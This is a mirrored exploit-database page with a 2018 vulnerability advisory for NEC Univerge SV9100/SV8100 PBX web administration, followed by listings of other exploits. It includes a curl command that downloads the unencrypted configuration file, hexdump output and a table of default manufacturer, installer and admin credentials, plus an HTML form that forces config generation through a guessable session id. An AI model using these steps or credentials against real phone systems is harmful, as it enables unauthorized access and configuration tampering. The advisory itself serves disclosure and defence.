Menu

Search for hundreds of thousands of exploits

"NEC Univerge SV9100/SV8100 WebPro 10.0 - Configuration Download"

Author

Exploit author

LiquidWorm

Platform

Exploit platform

multiple

Release date

Exploit published date

2018-01-23

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
NEC Univerge SV9100/SV8100 WebPro 10.0 Remote Configuration Download


Vendor: NEC Corporation
Product web page: http://www.nec.com
Affected version: WebPro <=10.00
                  DSP Firmware Version: 12.11.00.02


Summary: NEC's UNIVERGE® SV9100 is the unified communications (UC)
solution of choice for small and medium businesses (SMBs) who don't
want to be left behind. Designed to fit your unique needs, the UNIVERGE
SV9100 platform is a powerful communications solution that provides
SMBs with the efficient, easy-to-deploy, mobile technology that they
require.

Desc: The gzipped telephone system configuration file 'config.gz' or
'config.pcpx' that contains the unencrypted data file 'conf.pcpn',
can be downloaded by an attacker from the root directory if previously
generated by a privileged user. Attacker can also sniff the network
and hijack the session id which resides in a GET request to further
generate the config file. The sessionid can also be brute-forced
because of its predictability containing 5-digit number. This will
enable the attacker to disclose sensitive information and help her
in authentication bypass, privilege escalation, system access and
denial of service via config modification.

Tested on: Henry/1.1
           NEC-i SV8100-NA 08.00/2.1
           NEC SV9100-GE 07.00.52/2.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5448
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5448.php


11.12.2017

--


Disclosing default credentials with weak password policy:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - -

# curl -O "http://192.168.1.1:8001/config.gz" ; gzip -d config.gz ; hexdump -C -s 0x041f220 -n 352 config
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 66253  100 66253    0     0  17171      0  0:00:03  0:00:03 --:--:-- 17168
0041f220  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
0041f300  00 00 00 6e 65 63 69 69  20 20 20 20 20 35 38 34  |...necii     584|
0041f310  34 37 20 20 20 01 00 74  65 63 68 20 20 20 20 20  |47   ..tech     |
0041f320  20 31 32 33 34 35 36 37  38 02 00 41 44 4d 49 4e  | 12345678..ADMIN|
0041f330  31 20 20 20 20 30 30 30  30 20 20 20 20 03 00 41  |1    0000    ..A|
0041f340  44 4d 49 4e 32 20 20 20  20 39 39 39 39 20 20 20  |DMIN2    9999   |
0041f350  20 04 00 55 53 45 52 31  20 20 20 20 20 31 31 31  | ..USER1     111|
0041f360  31 20 20 20 20 05 00 61  74 65 6c 20 20 20 20 20  |1    ..atel     |
0041f370  20 35 38 34 34 37 20 20  20 02 00 20 20 20 20 20  | 58447   ..     |
0041f380


Level:User:Password:Role:
- - - - - - - - - - - - -

1:atel:58447:MAN     (Manufacturer)
1:necii:47544:MAN    (Manufacturer)
1:necii:58447:MAN    (Manufacturer)
2:sltech:12345678:IN (Installer)
2:tech:12345678:IN   (Installer)
3:ADMIN1:0000:SA     (System Administrator A)
3:admin1:0000:SA     (System Administrator A)
4:ADMIN2:9999:SB     (System Administrator B)
4:admin2:9999:SB     (System Administrator B)
4:USER1:1111:UA      (User Administrator)
5:USER1:1111441:UA   (User Administrator)
5:user1:1111:UA      (User Administrator)


SAVE_CONFIG() request (Save to PC) with brute-forceable session
that will generate the config.gz / config.pcpx config file:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

<html>
  <body>
    <form action="http://192.168.1.1:8001/SaveConfig.htm?sessionId=31337&SAVE_CONFIG()" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="hasDataChanged" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Expense Management System - 'description' Stored Cross Site Scripting" webapps multiple "Nikhil Kumar"
2020-12-02 "Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting" webapps multiple "Parshwa Bhavsar"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Under Construction Page with CPanel 1.0 - SQL injection" webapps multiple "Mayur Parmar"
Release Date Title Type Platform Author
2020-11-05 "iDS6 DSSPro Digital Signage System 6.2 - Improper Access Control Privilege Escalation" webapps hardware LiquidWorm
2020-11-05 "iDS6 DSSPro Digital Signage System 6.2 - Cross-Site Request Forgery (CSRF)" webapps hardware LiquidWorm
2020-11-05 "iDS6 DSSPro Digital Signage System 6.2 - CAPTCHA Security Bypass" webapps hardware LiquidWorm
2020-10-27 "TDM Digital Signage PC Player 4.1 - Insecure File Permissions" local windows LiquidWorm
2020-10-27 "GoAhead Web Server 5.1.1 - Digest Authentication Capture Replay Nonce Reuse" remote hardware LiquidWorm
2020-10-27 "Adtec Digital Multiple Products - Default Hardcoded Credentials Remote Root" remote hardware LiquidWorm
2020-10-26 "ReQuest Serious Play F3 Media Server 7.0.3 - Remote Denial of Service" webapps hardware LiquidWorm
2020-10-26 "ReQuest Serious Play F3 Media Server 7.0.3 - Remote Code Execution (Unauthenticated)" webapps hardware LiquidWorm
2020-10-26 "ReQuest Serious Play Media Player 3.0 - Directory Traversal File Disclosure" webapps hardware LiquidWorm
2020-10-26 "ReQuest Serious Play F3 Media Server 7.0.3 - Debug Log Disclosure" webapps hardware LiquidWorm
2020-10-07 "BACnet Test Server 1.01 - Remote Denial of Service (PoC)" dos windows LiquidWorm
2020-10-01 "SpinetiX Fusion Digital Signage 3.4.8 - Cross-Site Request Forgery (Add Admin)" webapps hardware LiquidWorm
2020-10-01 "SpinetiX Fusion Digital Signage 3.4.8 - Username Enumeration" webapps hardware LiquidWorm
2020-10-01 "BrightSign Digital Signage Diagnostic Web Server 8.2.26 - File Delete Path Traversal" webapps hardware LiquidWorm
2020-10-01 "Sony IPELA Network Camera 1.82.01 - 'ftpclient.cgi' Remote Stack Buffer Overflow" remote hardware LiquidWorm
2020-10-01 "BrightSign Digital Signage Diagnostic Web Server 8.2.26 - Server-Side Request Forgery (Unauthenticated)" webapps hardware LiquidWorm
2020-10-01 "SpinetiX Fusion Digital Signage 3.4.8 - Database Backup Disclosure" webapps hardware LiquidWorm
2020-09-25 "B-swiss 3 Digital Signage System 3.6.5 - Cross-Site Request Forgery (Add Maintenance Admin)" webapps multiple LiquidWorm
2020-09-25 "B-swiss 3 Digital Signage System 3.6.5 - Database Disclosure" webapps multiple LiquidWorm
2020-09-21 "B-swiss 3 Digital Signage System 3.6.5 - Remote Code Execution" webapps multiple LiquidWorm
2020-09-14 "Rapid7 Nexpose Installer 6.6.39 - 'nexposeengine' Unquoted Service Path" local windows LiquidWorm
2020-08-28 "Eibiz i-Media Server Digital Signage 3.8.0 - Privilege Escalation" webapps hardware LiquidWorm
2020-08-26 "Eibiz i-Media Server Digital Signage 3.8.0 - Directory Traversal" webapps multiple LiquidWorm
2020-08-24 "Eibiz i-Media Server Digital Signage 3.8.0 - Configuration Disclosure" webapps hardware LiquidWorm
2020-08-24 "Eibiz i-Media Server Digital Signage 3.8.0 - Authentication Bypass" webapps hardware LiquidWorm
2020-08-17 "QiHang Media Web Digital Signage 3.0.9 - Remote Code Execution (Unauthenticated)" webapps hardware LiquidWorm
2020-08-17 "QiHang Media Web Digital Signage 3.0.9 - Cleartext Credential Disclosure" webapps hardware LiquidWorm
2020-08-17 "QiHang Media Web Digital Signage 3.0.9 - Unauthenticated Arbitrary File Deletion" webapps hardware LiquidWorm
2020-08-17 "QiHang Media Web Digital Signage 3.0.9 - Unauthenticated Arbitrary File Disclosure" webapps hardware LiquidWorm
2020-08-07 "All-Dynamics Digital Signage System 2.0.2 - Cross-Site Request Forgery (Add Admin)" webapps hardware LiquidWorm 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected